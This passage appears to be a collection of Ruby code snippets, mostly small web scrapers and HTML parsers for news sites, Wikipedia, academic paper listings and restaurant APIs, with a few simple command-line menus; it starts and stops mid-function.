!b_related\n\t\t\tbegin\n\t\t\t\trelated_div_class = \"ret_post\"\n\t\t\t\trelated = story_content_html.css('div.'+ related_div_class).css('ul.side-nav a')\n\t\t\t\trelated1_id = related[0]['href'].split(pattern=\"/\")[-1]\n\t\t\t\trelated2_id = related[1]['href'].split(pattern=\"/\")[-1]\n\t\t\t\t# get info or related news\n\t\t\t\tgetStory(\"http://www.almasryalyoum.com/news/details/\"+related1_id,1, category_id, b_related)\n\t\t\t\tgetStory(\"http://www.almasryalyoum.com/news/details/\"+related2_id,1, category_id, b_related)\n\t\t\trescue \n\t\t\t\t# no related news found\n\t\t\t\trelated1_id = 0\n\t\t\t\trelated2_id = 0\n\t\t\tend\n\t\t# not getting related stories of a related one as it loop to almost infinity\n\t\telse\n\t\t\trelated1_id = 0\n\t\t\trelated2_id = 0\n\t\tend\n\t\t## Title Parse\n\t\ttitle = story_content_html.css('title').text.to_s.split(' | ')[0]\n\t\t\n\t\treturn [image_url, details, related1_id, related2_id, title]\n\t\n\t## Youm7\n\telsif provider_id == 2\n\t\t# Image Parsing\n\t\tbegin\n\t\t\timage_div_id = \"newsStoryImg\"\t\t\n\t\t\timage_url = story_content_html.css('div#'+image_div_id).css('img').attribute('src').to_s\n\t\trescue \n \t\t\timage_url = \"\" \n\t\tend\n\t\t# Details Parsing\n\t\tdetails_div_id = \"newsStoryTxt\"\n\t\tdetails = story_content_html.css('div#'+details_div_id).css('p').text.strip\n\t\t\n\t\t# Related Parsing\n\t\t## TODO\n\t\t# no related news found\n\t\trelated1_id = 0\n\t\trelated2_id = 0\n\t\t\n\t\treturn [image_url, details, related1_id, related2_id]\n\t\t\n\t\n\t## El Watan\n\telsif provider_id == 3\n\t\t# Image Parsing\n\t\tbegin \n\t\t\timage_div_class = \"main_focus\"\t\t\n\t\t\timage_url = story_content_html.css('div.'+image_div_class).css('img').attribute('src').to_s\n\t\trescue \n \t\t\timage_url = \"\"\n\t\tend \n\t\t\n\t\t# Details Parsing\n\t\tdetails_div_class = \"main_content_ip\"\n\t\tdetails = story_content_html.css('div.'+details_div_class).css('p').text.strip\n\n\t\t# Related Parsing\n\t\t## TODO\n\t\t# no related news found\n\t\trelated1_id = 0\n\t\trelated2_id = 0\n\t\t\n\t\treturn [image_url, details, related1_id, related2_id]\n\tend\nend", "def get_paper_list(keywords)\n output = []\n page = 0\n\n keywords.each do |keyword|\n puts \"keyword: \"+keyword\n\n LIMIT.times do |page|\n puts \"page: \"+page.to_s\n\n #parses array of papers\n data = Hpricot(self.download_url(self.set_url(keyword, page)))\n papers = data.search(\"ul.blockhighlight\")\n \n # parse necessary data\n papers.each do |item|\n \n \n title = item.search(\"em.title\").first.inner_html\n link = item.search(\"a.doc_details\").first.attributes['href']\n # odstraneni prazdnych radku, smrsknuti vicenasobnych mezer a rozdeleni podle html entity pomlcky\n author_and_year = item.search(\"li.author\").first.inner_html.delete(\"\\n\").squeeze(\" \").split(\"&#8212;\")\n additional_info = self.get_additional_info(link)\n \n puts \"Dokument:\\t\"+title\n\n # vytvoreni tridy pro dokument\n doc = Document.new(@title)\n # gsub stripne html tagy\n doc.title = title.strip.gsub(/<\\/?[^>]*>/, \"\")\n doc.year = author_and_year[1].strip \n doc.abstract = additional_info['abstract']\n # rozdeleni jmen autoru - citeseerx ma rozdeleno mezerou a carkou\n doc.authors = self.parse_authors(author_and_year[0].strip.sub(/^by /, \"\"))\n \n # kontrola, zda dokument ukladat nebo ne\n if doc.unique? then\n puts \"unikatni\"\n downloaded = self.download_paper(additional_info['links'])\n doc.filename = downloaded\n doc.filetype = 'application/pdf' \n if(doc.save() === false)\n puts \"Chyba pri ukladani dokumentu!\"\n end\n else\n puts \"NEunikatni\"\n end\n \n puts \"\\n\\n\"\n end #papers.each\n end #LIMIT.times\n end #keywords.each\n\n return output\n end", "def fetch_text(article_url)\n\t\trequire 'open-uri'\n\t\ttext = \"\"\n\t\tfile = open(article_url)\n\t\tcontents = file.readlines\n\t\tcontents.each do |line| \n\t\t\tif line =~ /<p[^>]*>/\n\t\t\t\tline.slice!(/<p[^>]*>/)\n\t\t\t\tline.slice!(/<\\/p>/)\n\t\t\t\ttext = text + line + \"<br/>\" + \"<br/>\"\n\t\t\tend\n\t\tend\n\t\treturn text\n\tend", "def extract_interviewee(detail_page)\n interviewee_selector = '.episode_sub_title span'\n detail_page.search(interviewee_selector).text.strip\nend", "def extract_chapter(article)\n article_url = @lfs_base_url + \"/#{@lfs_branch}/\" + article\n puts \"fetching : #{article_url} .. \"\n article_content= Nokogiri::HTML(open(article_url))\n\n script = Array.new\n article_content.css('pre.userinput').each {|my_match|script << my_match.content}\n \n script = NIL unless script.size > 0\n script\n \nend", "def extract_bio(page)\n page.css('.bio').first.children[1].children.first.text.strip\n end", "def scrape_and_look_for_next_link(url)\n i = 0;\n page = Nokogiri::HTML(open(url))\n counties = scrape_timesbycounty(page)\n counties.collect do |county| \n if county \n county_url = BASE_URL + URI.escape(county['href'])\n areapage = Nokogiri::HTML(open(county_url))\n churches = scrape_area(areapage)\n churches.collect do |church| \n if church \n church_url = BASE_URL + URI.escape(church['href'])\n masstimes = Nokogiri::HTML(open(church_url))\n times = scrape_masstimes(masstimes)\n puts \"------------------------------------------\"\n puts \"county = \" +county.inner_text.strip\n puts \"church = \" +church.inner_text.strip\n puts \"times = \" +times.map { |str| \"'\" + str.to_s + \"'\" }.join(\",\")\n puts \"------------------------------------------\" \n i+=1\n record = {}\n record['ID'] = i \n record['County'] = county.inner_text.strip \n record['Church'] = church.inner_text.strip \n record['Times'] = times.map { |str| \"'\" + str.to_s + \"'\" }.join(\",\") \n ScraperWiki.save([\"ID\"], record)\n end\n end\n end\n end\nend", "def scrape_and_look_for_next_link(url)\n i = 0;\n page = Nokogiri::HTML(open(url))\n counties = scrape_timesbycounty(page)\n counties.collect do |county| \n if county \n county_url = BASE_URL + URI.escape(county['href'])\n areapage = Nokogiri::HTML(open(county_url))\n churches = scrape_area(areapage)\n churches.collect do |church| \n if church \n church_url = BASE_URL + URI.escape(church['href'])\n masstimes = Nokogiri::HTML(open(church_url))\n times = scrape_masstimes(masstimes)\n puts \"------------------------------------------\"\n puts \"county = \" +county.inner_text.strip\n puts \"church = \" +church.inner_text.strip\n puts \"times = \" +times.map { |str| \"'\" + str.to_s + \"'\" }.join(\",\")\n puts \"------------------------------------------\" \n i+=1\n record = {}\n record['ID'] = i \n record['County'] = county.inner_text.strip \n record['Church'] = church.inner_text.strip \n record['Times'] = times.map { |str| \"'\" + str.to_s + \"'\" }.join(\",\") \n ScraperWiki.save([\"ID\"], record)\n end\n end\n end\n end\nend", "def scrap_trip_pages\n \n mp_trip_pages.each do |mp, trip_page|\n printf \"mp - #{mp}\\n\"\n doc = utf_page(trip_page)\n t = Time.now\n komandiruotes = (doc/\"//a[text()='Komandiruotės']\").first\n mp_business_trip(mp, denormalize( komandiruotes.attributes['href'] ) ) if komandiruotes\n printf \"Laikas: #{Time.now - t}\\n\"\n #sleep 3\n end\n \n end", "def search_title_scrape\n @doc.search('b')[2..6].each do |name|\n @names << name.text\n end\n search_description_scrape\n end", "def crawlNameFromWiki()\n\tbase_url = \"http://en.wikipedia.org\"\n\tpage = \"/wiki/List_of_American_film_actresses\"\n\tremote_full_url = base_url + page\n\tpage = Nokogiri::HTML(open(remote_full_url))\n\tdivs = page.css(\"div#mw-content-text\")\n\tlinks = divs.css(\"div.div-col\").css(\"li\")\n\tpeople = Hash.new(0)\n\thead =\"Name ID\\n\"\n\n\t(0..links.length - 1).each do |n|\n\t\tdata = links[n].text # get the info of each celebrity\n\t\tname = links[n].css(\"a\")[0][\"title\"] # get name\n\t\t# <Optional_lines> --> using birthday to optimize crawling performance\n\t\tbirthD = \"\" \n\t\tif !data.nil?\n\t\t\tregexpression = data[/[^-]\\d{4}$/]\n\t\t\tif !regexpression.nil? and !regexpression.include?\"-\"\n\t\t\t\tbirthD = data[-4..-1]\n\t\t\tend\n\t\tend\n\t\t#</Optional_lines> \n\t\tpeople[name] = birthD # map person name to birthday\n\tend\n\tverifiedTwitter(people)\nend", "def get_problem number\n @url << number.to_s\n page = HTTParty.get(@url)\n parse_page = Nokogiri::HTML(page)\n problem = []\n parse_page.css(\"p\").length.times do |n|\n problem << parse_page.css(\"p\")[n].text\n end\n problem\n end", "def wait_for_title(exit)\n waited = 0\n [0.25, 0.5, 1, 2, 4, 8, 16].each do |delay|\n if page_title =~ /-/\n title = page_title.gsub(/[-].+/, '').strip\n unless title.empty?\n puts \"Waited for page title for #{waited} seconds.\"\n return title\n end\n end\n sleep(delay)\n waited += delay\n end\n fail(\"Waited for page title for #{waited} seconds. Page title not found.\") if exit\n end", "def get_all_info\n\t\tpage = fetch\n\t\tscrape(page)\n\tend", "def extract_description(document)\n node = document.css('div.well>p')\n @description = node.inner_html\n end", "def get_wiki(search)\n return Wikipedia::article(search).first\n search = search.split(/\\s+/).map {|w| w.capitalize }.join(' ')\n page = Wikipedia.find(search)\n g = JSON.parse(page.json)\n content = g[\"query\"][\"pages\"].first.last[\"revisions\"].first\n\n\n content = content[\"*\"]\n\n\n wiki = WikiCloth::Parser.new({ data: content })\n\n html = wiki.to_html\n\n doc = Nokogiri::HTML(html)\n doc = doc.xpath(\"//p\").to_s\n doc = Nokogiri::HTML(doc)\n doc = doc.xpath(\"//text()\").to_s\n\n doc = doc.split(\"\\n\")\n\n plaintext = []\n\n doc.each do |d|\n unless d.empty?\n plaintext << d\n end\n end\n\n\n return plaintext\n end", "def print_info(info)\n bio = []\n committees = []\n info.each do |li|\n if li.include?(\"ommittee\")\n committees << li\n else\n bio << li\n end\n end\n puts \"---------------------- Personal Bio ----------------------\"\n bio.each do |li|\n puts li\n end\n puts \"\"\n puts \"------------------------ Committees ------------------------\"\n committees.each do |li|\n puts li\n end\n puts \"\"\n end", "def get_description(detail_page, tds)\n table = detail_page.search('table')[31]\n\n tr = table.search('tr')[3]\n\n tds_detail_description = tr.search('td')\n\n description = \"\"\n\n if !tds_detail_description[1].at('span').nil? \n\n description = clean_whitespace(tds_detail_description[1].at('span').text)\n\n else\n\n description = clean_whitespace(tds_detail_description[1].text)\n\n end\n return description\nend", "def get_description(detail_page, tds)\n table = detail_page.search('table')[31]\n\n tr = table.search('tr')[3]\n\n tds_detail_description = tr.search('td')\n\n description = \"\"\n\n if !tds_detail_description[1].at('span').nil? \n\n description = clean_whitespace(tds_detail_description[1].at('span').text)\n\n else\n\n description = clean_whitespace(tds_detail_description[1].text)\n\n end\n return description\nend", "def initial_parse\n # page = 291\n # term = \"restaurant\"\n # restaurant max pages\n # max_pages=351\n # term = \"dance\"\n # page = 123\n # max_pages=201\n # while page <= max_pages do\n # puts \"CURRENT PAGE #{page}\"\n restaurant_data = RestClient.get(\"https://developers.zomato.com/api/v2.1/search?entity_id=#{@api_city}&entity_type=city&start=1\", {user_key: @apikey})\n parsed_restaurant_data = JSON.parse(restaurant_data)['restaurants']\n # puts parsed_restaurant_data\n more_detailed_search(parsed_restaurant_data)\n # page+=1\n # end\nend", "def parse_paragraph; end", "def scrape_text\n\n end", "def trip(url, steps=10) # (1) \n\n steps.times do # (2) \n page = fetch(url)\n book_info = scrape_book_info(page)\n puts format_output(book_info)\n \n next_book = scrape_affinity_list(page)[0]\n\n url = next_book[:url]\n end\nend", "def pull_text_until_end\n texts = []\n loop do\n res = pull\n break unless res.text?\n texts << res[0]\n end\n texts.join\n end", "def info(titles=nil, ids=nil, display=true)\n if titles\n if titles.is_a?(Array)\n encoded = titles.join(\"|\").split.join(\"_\")\n elsif titles.is_a?(String)\n encoded = titles\n else\n puts \"Titles should be a string or array\"\n return false\n end\n endpoint = \"https://en.wikipedia.org/w/api.php?action=query&format=json&prop=info&inprop=url&titles=#{encoded}&redirects\"\n elsif ids\n if ids.is_a?(Array)\n encoded = ids.join(\"|\").split.join(\"_\")\n elsif ids.is_a?(String)\n encoded = ids\n else\n puts \"ID's should be a string or array\"\n return false\n end\n endpoint = \"https://en.wikipedia.org/w/api.php?action=query&format=json&prop=info&inprop=url&pageids=#{encoded}&redirects\"\n end\n hash = get(endpoint)\n pages = hash[\"query\"][\"pages\"]\n redirects = hash[\"query\"][\"redirects\"]\n if display\n if redirects\n redirects.each do |redirect|\n puts \"Redirected from '#{redirect[\"from\"]}' to '#{redirect[\"to\"]}'\"\n end\n end\n pages.keys.each do |id|\n page = pages[id]\n if page[\"missing\"]\n puts \"The page '#{page[\"title\"]}' is missing\"\n else\n puts \"The page '#{page[\"title\"]}' has the ID: #{page[\"pageid\"]}, and is written in #{page[\"pagelanguage\"]}\"\n end\n end\n end\n return hash\n end", "def extract_works(doc)\n works = []\n doc.search(\"by/citation/title\").each_with_index do |t, i|\n works << t.inner_text\n break if @num_of_works == i + 1\n end\n return nil if works.blank?\n \"most widely held #{works.length == 1 ? \"work\" : \"works\"}: \" + works.join(\"; \")\n end", "def more_info\n \tputs \"Which podcast would you like to know more about?\"\n \tinput = gets.strip\n\n \tif input == \"14\"\n \t\tputs \" _.-._ \"\n puts \" ##### # ### | | | |_ \"\n puts \" # # ##### ###### ## ##### # #### ##### ### | | | | |\"\n puts \" # # # # # # # # # # # # ### | | | | |\"\n puts \" # #### # # ##### # # # # # # ##### # _ | '-._ |\"\n puts \" # # ##### # ###### # # # # # # # \\\\`\\\\`-.'-._;\"\n puts \" # # # # # # # # # # # # # # ### \\\\ ' |\"\n puts \" ##### # # ###### # # # ##### #### ##### ### \\\\ .` / \"\n puts \" | | \" \n sleep(1)\n podcast = Podcast.find(14)\n print_podcast(podcast)\n elsif input.to_i.between?(1,32)\n \t\tpodcast = Podcast.find(input.to_i)\n \t print_podcast(podcast) \n \telsif input.downcase == \"exit\"\n \t\tputs \"Thanks for stopping by!\"\n \telse\n \t puts \"I didn't quite catch that. Try again?\"\n \t more_info\n \tend \n end", "def parse_description\n skip_tkspace\n\n tk = get_tk\n\n @desc = tk.text[1..-2]\n end", "def show_description (description)\n unless description.nil?\n puts \"Your description is: #{description}\"\n else \"This url needs description\"\n #description.split(\"\\s\").each do |i|\n #puts \"description: #{i}\"\n end\nend", "def scrape_items(url)\n page = Nokogiri::HTML(open(url))\n # debug, todo: make conditional, if DEBUG\n print url\n div = page.xpath(\"//div[@class = 'postarea']\")\n paras = div.xpath(\"//p[position() > 2]\")\n # debug, todo: make conditional, if DEBUG\n print paras.count.to_s()\n paras.each {\n |para|\n scrape(para)\nparas.length\n }\nend", "def scrape_items(url)\n page = Nokogiri::HTML(open(url))\n # debug, todo: make conditional, if DEBUG\n print url\n div = page.xpath(\"//div[@class = 'postarea']\")\n paras = div.xpath(\"//p[position() > 2]\")\n # debug, todo: make conditional, if DEBUG\n print paras.count.to_s()\n paras.each {\n |para|\n scrape(para)\nparas.length\n }\nend", "def each_chapter(query)\n @contents.each_with_index do |name, index|\n number = index + 1\n contents = File.read(\"data/chp#{number}.txt\")\n\n paragraphs = contents.split(\"\\n\\n\").map do |paragraph|\n \"<p>#{paragraph}</p>\"\n end\n\n paragraphs.select! do |paragraph|\n paragraph.include?(query)\n end\n\n paragraphs.each do |paragraph|\n yield(number, name, contents, paragraph)\n end\n end\nend", "def get_pdp_info\n wait_for_product_detail_div(TimeOut::WAIT_BIG_CONST * 2)\n\n # Get information on pdp page\n long_name = long_name_txt.text\n age = RspecEncode.remove_nbsp(age_txt.text.strip)\n description = description_txt.text\n moreinfo_lb = get_more_info[:moreinfo_lb].gsub(\"\\n\", '').gsub(/\\s+/, ' ') # Remove '\\n' and double space characters\n moreinfo_text = get_more_info[:moreinfo_txt].gsub(\"\\n\", '').gsub(/\\s+/, ' ')\n special_message = (has_special_message_txt?) ? special_message_txt.text : '' # If special message exist => return special text. Else, return ''\n legal_top = (has_legal_top_txt?) ? legal_top_txt.text : ''\n legal_bottom = (has_legal_bottom_txt?) ? legal_bottom_txt.text : ''\n learning_difference = (has_learning_difference_txt?(wait: TimeOut::WAIT_SMALL_CONST)) ? learning_difference_txt.text : ''\n review = has_review_box? # If Review box exist ->'true' else 'false'\n more_like_this = has_more_like_this? # If More Like this box exist ->'true' else 'false'\n write_a_review = has_write_a_review_div?(wait: TimeOut::WAIT_SMALL_CONST) # If 'Write a Review' box exist ->'true' else 'false'\n add_to_wishlist = has_add_to_wishlist_lnk? # If 'Add to Wishlist' button exist -> 'true' else 'false'\n\n # Get price:\n if has_strike_price_txt?(wait: TimeOut::WAIT_SMALL_CONST)\n price = strike_price_txt.text\n else\n price = (has_price_txt?(wait: TimeOut::WAIT_SMALL_CONST)) ? price_txt.text : ''\n end\n\n # Get attributes info\n content_type = ''\n curriculum = ''\n notable = ''\n work_with = ''\n publisher = ''\n size = ''\n attributes_div.each do |a|\n attr = a.text.split(':')\n content_type = attr[1].strip if attr[0].include?('Type')\n curriculum = attr[1].strip if attr[0].include?('Curriculum')\n notable = attr[1..-1].join(':').strip if attr[0].include?('Notable')\n work_with = attr[1].gsub(', ', ',').strip if attr[0].include?('Works With')\n publisher = attr[1].strip if attr[0].include?('Publisher')\n size = attr[1].strip if attr[0].include?('Size')\n end\n\n # Get trailer\n has_trailer = trailer?\n trailer_link = ''\n trailer_link = find('.video')['data-largeimage'].to_s.gsub('\"', '\\\"') if has_trailer_box?\n\n # Get teaches (Skills list)\n teaches = []\n teaches_txt.each do |teach|\n teaches.push(teach.text)\n end\n\n # Get product detail\n details = get_detail\n\n # get value of Add to Cart button: Add to Cart\n add_to_cart_val = ''\n\n if has_add_to_cart_btn?(wait: 0)\n add_to_cart_val = find(:xpath, \"(//input[contains(@value,'Add to Cart')])[1]\")[:value] if has_xpath?(\"//input[contains(@value,'Add to Cart')]\", wait: 0)\n add_to_cart_val = find(:xpath, \"(//*[contains(text(),'Add to Cart')])[1]\").text if has_xpath?(\"(//*[contains(text(),'Add to Cart')])[1]\", wait: 0)\n else\n add_to_cart_val = 'Not Available'\n end\n\n # get value of buy now button: Buy Now\n buy_now_btn = ''\n execute_script(\"$('#sub-nav-grnbar-btn').css('display', 'block');\")\n buy_now_btn = find('#sub-nav-grnbar-btn')[:value] if has_css?('#sub-nav-grnbar-btn', wait: 0)\n\n has_credits_link = has_credits_lnk?\n\n # Put all info into array\n { long_name: long_name,\n age: age,\n description: description,\n content_type: content_type,\n curriculum: curriculum,\n notable: notable,\n work_with: work_with,\n publisher: publisher,\n size: size,\n moreinfo_lb: moreinfo_lb,\n moreinfo_txt: moreinfo_text,\n special_message: special_message,\n legal_top: legal_top,\n price: price,\n details: details,\n learning_difference: learning_difference,\n legal_bottom: legal_bottom,\n teaches: teaches,\n has_trailer: has_trailer,\n trailer_link: trailer_link,\n has_credits_link: has_credits_link,\n review: review,\n more_like_this: more_like_this,\n write_a_review: write_a_review,\n add_to_wishlist: add_to_wishlist,\n add_to_cart_btn: add_to_cart_val,\n buy_now_btn: buy_now_btn }\n end", "def get_member_page_info(page, text)\n page.css('span').select{ |_span| _span.content[text] }.last\nend", "def secondary_description\n first_long_paragraph = parsed_document.search('//p[string-length() >= 120]').first\n first_long_paragraph ? first_long_paragraph.text : ''\n end", "def extract_year_infos(html_page)\n year_info = {}\n # Fills the hash with year's general informations\n html_page.search('#millesime').each do |element|\n year_info[:wine] = element.search('h2:first').text.strip\n year_info[:domain] = element.search('#millesime-region > li:first > a').text\n year_info[:year] = element.search('#millesime-region > li')[1].search('a').text\n year_info[:region] = []\n element.search('#millesime-region > li')[2].search('a').each do |a|\n year_info[:region] << a.text\n end\n year_info[:appelation] = element.search('#millesime-region > li')[3].search('a').text\n year_info[:grape] = []\n element.search('#millesime-region > li')[4].search('a').each do |a|\n year_info[:grape] << a.text\n end\n # [0].text, element.search('#millesime-region > li')[4].search('a')[1].text]\n year_info[:color] = element.search('.millesime-type').text.strip\n year_info[:figaro_note] = element.search('.note-expert').text\n end\n return year_info # => hash of year's nformations\nend", "def extract_text(site, page)\n page.render({}, site.site_payload)\n doc = Nokogiri::HTML(page.output)\n paragraphs = doc.search('p').map {|e| e.text}\n page_text = paragraphs.join(\" \").gsub(\"\\r\",\" \").gsub(\"\\n\",\" \")\n end", "def get_book_content\n\n get_book_name\n\n @bookRootObj.xpath(\"//paras\").children.each do |child|\n\n if child.name == \"p\" then\n get_p_info child\n elsif child.name == \"mp\" then\n get_mp_info child\n else\n #raise StandardError, \"Can't get this tag <#{child.name}>.\"\n end\n end\n end", "def summary(content)\n content[0, content.index('<!-- more -->') || content.length]\nend", "def parse_detail(body)\n libraries = []\n\n page = Nokogiri::HTML(body)\n page.css('table[class=summary] tr').each do |tablerow|\n if tablerow.to_s.index(LIBRARY_NOT_CHECKED_OUT) != nil\n # it's at our library, break out of loop\n if @library_branch_location != nil && tablerow.previous_sibling.to_s.index(\"Your Library\") != nil \n return [LIBRARY_MY_STRING]\n end\n\n # it isn't checked out at this location, save library name\n libraries.push tablerow.css('td').first.text\n end\n end\n\n libraries\nend", "def extract_text(offset, length)\n end", "def wait_for_by_title(title, notebook, iterations = Evertils::Base::MAX_SEARCH_SIZE)\n Notify.info(\"Waiting for #{title}...\")\n note = find_note_by_title(title)\n\n begin\n # didn't find it the first time? wait and try again\n if note.entity.nil?\n (1..iterations).each do |iter|\n Notify.info(\" (#{iter}) Looking for #{notebook.downcase}\")\n note = find_note_by_title(notebook, true)\n break unless note.entity.nil? || iter == Evertils::Base::MAX_SEARCH_SIZE\n end\n end\n rescue Interrupt\n Notify.error('Cancelled wait')\n end\n\n note\n end", "def investigate info\n #TODO if we already have data for a user, should we look it up?\n \n #http://en.wikipedia.org/w/api.php?action=query&titles=User:Tisane&prop=info|flagged&list=blocks|globalblocks|logevents|recentchanges|tags\n \n account = find_account_history(info)\n \n #http://en.wikipedia.org/w/api.php?action=query&list=logevents&leuser=Tisane&lelimit=max <- actions taken by user\n #get_xml({:format => :xml, :action => :query, :list => :logevents, :leuser => info[4], :lelimit => :max })\n \n #http://en.wikipedia.org/w/api.php?action=query&list=blocks&bkprop=id|user|by|timestamp|expiry|reason|range|flags&bklimit=max&bkusers=Tisane\n #get_xml({:format => :xml, :action => :query, :list => :blocks, :bkusers => info[4], :bklimit => :max, :bkprop => 'id|user|by|timestamp|expiry|reason|range|flags' })\n \n #http://en.wikipedia.org/w/api.php?action=query&list=users&ususers=Tisane&usprop=blockinfo|groups|editcount|registration|emailable\n #get_xml({:format => :xml, :action => :query, :list => :users, :ususers => info[4], :usprop => 'blockinfo|groups|editcount|registration|emailable' })\n \n #http://en.wikipedia.org/w/api.php?action=query&list=recentchanges&rcuser=Tisane&rcprop=user|comment|timestamp|title|ids|sizes|redirect|loginfo|flags\n #get_xml({:format => :xml, :action => :query, :list => :recentchanges, :rcuser => info[4], :rcprop => 'user|comment|timestamp|title|ids|sizes|redirect|loginfo|flags' })\n \n #res = parse_xml(get_xml())\n db_write!(\n ['sample_id', 'account_creation', 'account_lifetime', 'total_edits', 'edits_last_second', 'edits_last_minute', 'edits_last_hour', 'edits_last_day', 'edits_last_week', 'edits_last_month', 'edits_last_year'],\n [info[0]] + account\n )\n end", "def show_planet_info(planets)\n done = false\n until done == true\n puts \"Here are the available planets.\"\n planets.each_with_index do |element, index|\n puts \"#{index + 1}. #{element.name}\"\n end\n puts \"#{planets.length + 1}. Exit\"\n puts \"\\nWhich # would you like to learn more about?\"\n input = gets.chomp.to_i\n if (1..planets.length).include? input\n info = planets[input - 1].get_planet_info\n puts info\n puts \"\\nWhat next?\"\n elsif input == planets.length + 1\n puts \"Sorry to see you go! Goodbye!\"\n done = true\n else\n puts \"Invalid selection. Please try again.\"\n end\n end\nend", "def secondary_description\n (p = parsed_document.search('//p').map(&:text).select{ |p| p.length > 120 }.first).nil? ? '' : p\n end", "def get_next\n _info = self.get_next_list_entry!\n unless _info.nil?\n _url = _info[0]\n _imgurl = self.get_image_url _url\n unless _imgurl.nil?\n _filename = self.dl_image _imgurl\n return {\n 'filename' => _filename,\n 'author' => _info[1],\n 'title' => _info[2],\n 'origin' => _url\n }\n end\n end\n return nil\n end", "def get_all_infos page, category\n list_items = page.search('.post')\n\n link = page.uri.to_s\n list_items.each_with_index{|item,index|\n # get all items in page -------------------\n content = item.at('.entry-content a').text\n author = item.at('.entry-author a').text\n record = {\n :category => category,\n :author => author,\n :conent => content\n }\n ScraperWiki.save_sqlite([], record)\n }\nend", "def get_all_infos page, category\n list_items = page.search('.post')\n\n link = page.uri.to_s\n list_items.each_with_index{|item,index|\n # get all items in page -------------------\n content = item.at('.entry-content a').text\n author = item.at('.entry-author a').text\n record = {\n :category => category,\n :author => author,\n :conent => content\n }\n ScraperWiki.save_sqlite([], record)\n }\nend", "def get_all_infos page, category\n list_items = page.search('.post')\n\n link = page.uri.to_s\n list_items.each_with_index{|item,index|\n # get all items in page -------------------\n content = item.at('.entry-content a').text\n author = item.at('.entry-author a').text\n record = {\n :category => category,\n :author => author,\n :conent => content\n }\n ScraperWiki.save_sqlite([], record)\n }\nend", "def get_all_infos page, category\n list_items = page.search('.post')\n\n link = page.uri.to_s\n list_items.each_with_index{|item,index|\n # get all items in page -------------------\n content = item.at('.entry-content a').text\n author = item.at('.entry-author a').text\n record = {\n :category => category,\n :author => author,\n :conent => content\n }\n ScraperWiki.save_sqlite([], record)\n }\nend", "def getLastfmArtistPopularity altnet_name\n url = getLastfmArtistPopularityUrl(altnet_name)\n puts url \n begin\n html = open(url, \"User-Agent\" => getUseragent(), :proxy=>getProxy()) \n document = Hpricot(html)\n #ar = document.search(\"//div[@id='catalogueHead']\");\n ar = document.search(\"//div[@id='catalogueHead']\").search(\"//p[@class='stats']\"); \n return ar\n rescue Exception => e\n puts \"html grab error\"\n return \"\"\n end \n end", "def more_info\n puts \"\"\n puts \"\"\n puts \" Please enter a number for more information about an anime!\"\n input = gets.strip.to_i\n \n if input > 0 && input <= Anime.all.length \n array = Anime.all.uniq.sort{|a,b| a.name <=> b.name}\n anime = array[input-1]\n puts \"\"\n puts \" Anime: #{anime.name}\"\n puts \"\"\n puts \" Description: #{anime.description}\"\n puts \"\"\n puts \" Release date: #{anime.release}\"\n puts \"\"\n self.exit\n\n else input < 0 && input > Anime.all.length\n puts \"\"\n puts \"Invalid number, please try again :) \"\n puts \"\"\n sleep(2.5)\n self.list_all_titles\n end\n end", "def extract_single_result(doc, base_url:, query:)\n # does it have the single-page search feedback thing on it?\n if doc.at_css(\"td.bibInfoData\")\n # Need to find the right line of data, from the echo'd back search type,\n # seriously.\n label = doc.at_css(\"select[name=searchtype] option[selected=selected]\").text.strip\n\n # We have to pull out the possible <tr> rows it's crazy\n\n\n bib_info_data_rows = doc.xpath(\"//tr[child::td[@class='bibInfoData']/a]\")\n # We need to find the ones with a bibInfoLabel matching our label OR,\n # with no bibInfoLabel as long as they're BEFORE the next bibInfoLabel\n in_range = false\n value_rows = []\n bib_info_data_rows.each do |row|\n if label_td = row.at_css(\"td.bibInfoLabel\")\n if !in_range && label_td.text.strip.downcase == label.strip.downcase\n in_range = true\n elsif in_range\n break\n end\n end\n\n value_rows << row if in_range\n end\n\n # Which of the value rows starts with the query, or the first one if none match\n hit_row = value_rows.find do |tr|\n tr.at_css(\"td.bibInfoData\").try { |n| n.text.strip.downcase.start_with?(query.downcase) }\n end || value_rows.first\n\n if hit_row && hit_link = hit_row.at_css(\"td.bibInfoData a\")\n return BentoSearch::ResultItem.new(\n title: hit_link.text.strip,\n # using the actual link['href'] goes to a weird place, use the base_url\n # that got us here to single result page.\n link: (base_url).to_s\n )\n end\n end\n end", "def get_population(state_code, city_name)\n pop = -1\n #headless = Headless.new(display: 192, destroy_at_exit: false)\n #headless.start\n \n wiki_url = self.url_create(state_code, city_name)\n #visit 'http://www.google.com/'\n visit wiki_url\n puts 'gets here1111'\n \n # testing elements.\n # getting time out errors below\n # seems like page is broken\n # puts find(:xpath, '//table[@class=\"infobox geography vcard\"]').inspect\n #puts page.has_text?('About Google').inspect\n #puts page.has_text?('Main page').inspect\n #puts page.has_text?('Population').inspect\n #click_link('Main page')\n \n pop_text_found = false\n if page.has_content?('Population')\n puts 'in pop'\n page.all(:xpath, '//table[@class=\"infobox geography vcard\"]//tr').each do |row|\n puts row.text\n \n # want to find the population text before running this.\n if pop_text_found\n puts row.text\n puts row.has_content?('td')\n pop = row.find('td').text\n \n # remove brackets on some of the populations with annotations.\n pop = pop.gsub(/[\\[].+$/, '')\n pop = pop.gsub(/[ ].+$/, '')\n break\n #row.find(\",\").text\n end\n \n # checks for the pop header. sets a flag.\n # the row after that contains the population\n if row.has_content?('Population')\n pop_text_found = true\n end\n \n end\n end\n puts 'pop ends'\n \n # clean up headless\n #headless.destroy\n \n pop\n \n # see if you have a valid page.\n # this assumes the url_create method is working correctly\n # result = first(:xpath, '//div[@id=\"result-cities\"]/p[@class=\"std-address\"]')\n #error_strs = ['Wikipedia does not have an article with this exact name.']\n \n #if ScrapeUtil.has_content_or?(page, error_strs)\n #if page.has_content? 'Wikipedia does not have an article with this exact name.'\n #puts \"empty page\"\n #false\n #else\n #puts \"gets here1\"\n # checks to see if has the word population\n # chances are if it doesn't have the word, the page does not contain it.\n #city_strs = ['Population']\n #if ScrapeUtil.has_content_or?(page, city_strs)\n #puts \"gets here\"\n #within('//table[@class=\"infobox geography vcard\"') do\n # there is a tr/th with the word population. this is probably\n # a good jumping off point.\n # the actual population is on the next row.\n #all('tr').each do |row|\n # puts row\n #end\n #end\n \n #true\n #else\n #false\n #end\n #end\n end", "def get_courses(page, info)\n page.search(\"#WebPartWPQ1\").each do |node|\n\n info[:period] = 0\n\n # För varje rad i tabellen:\n node.search(\"./div/div/table[3]//td\").each do |node|\n \n # Måste kolla efter läsperiod\n if node.text =~ /läsperiod/i\n info[:period] = node.text.match(/\\d/).to_s.to_i\n end\n \n # Vi kanske har en länk, isåfall vill vi spara 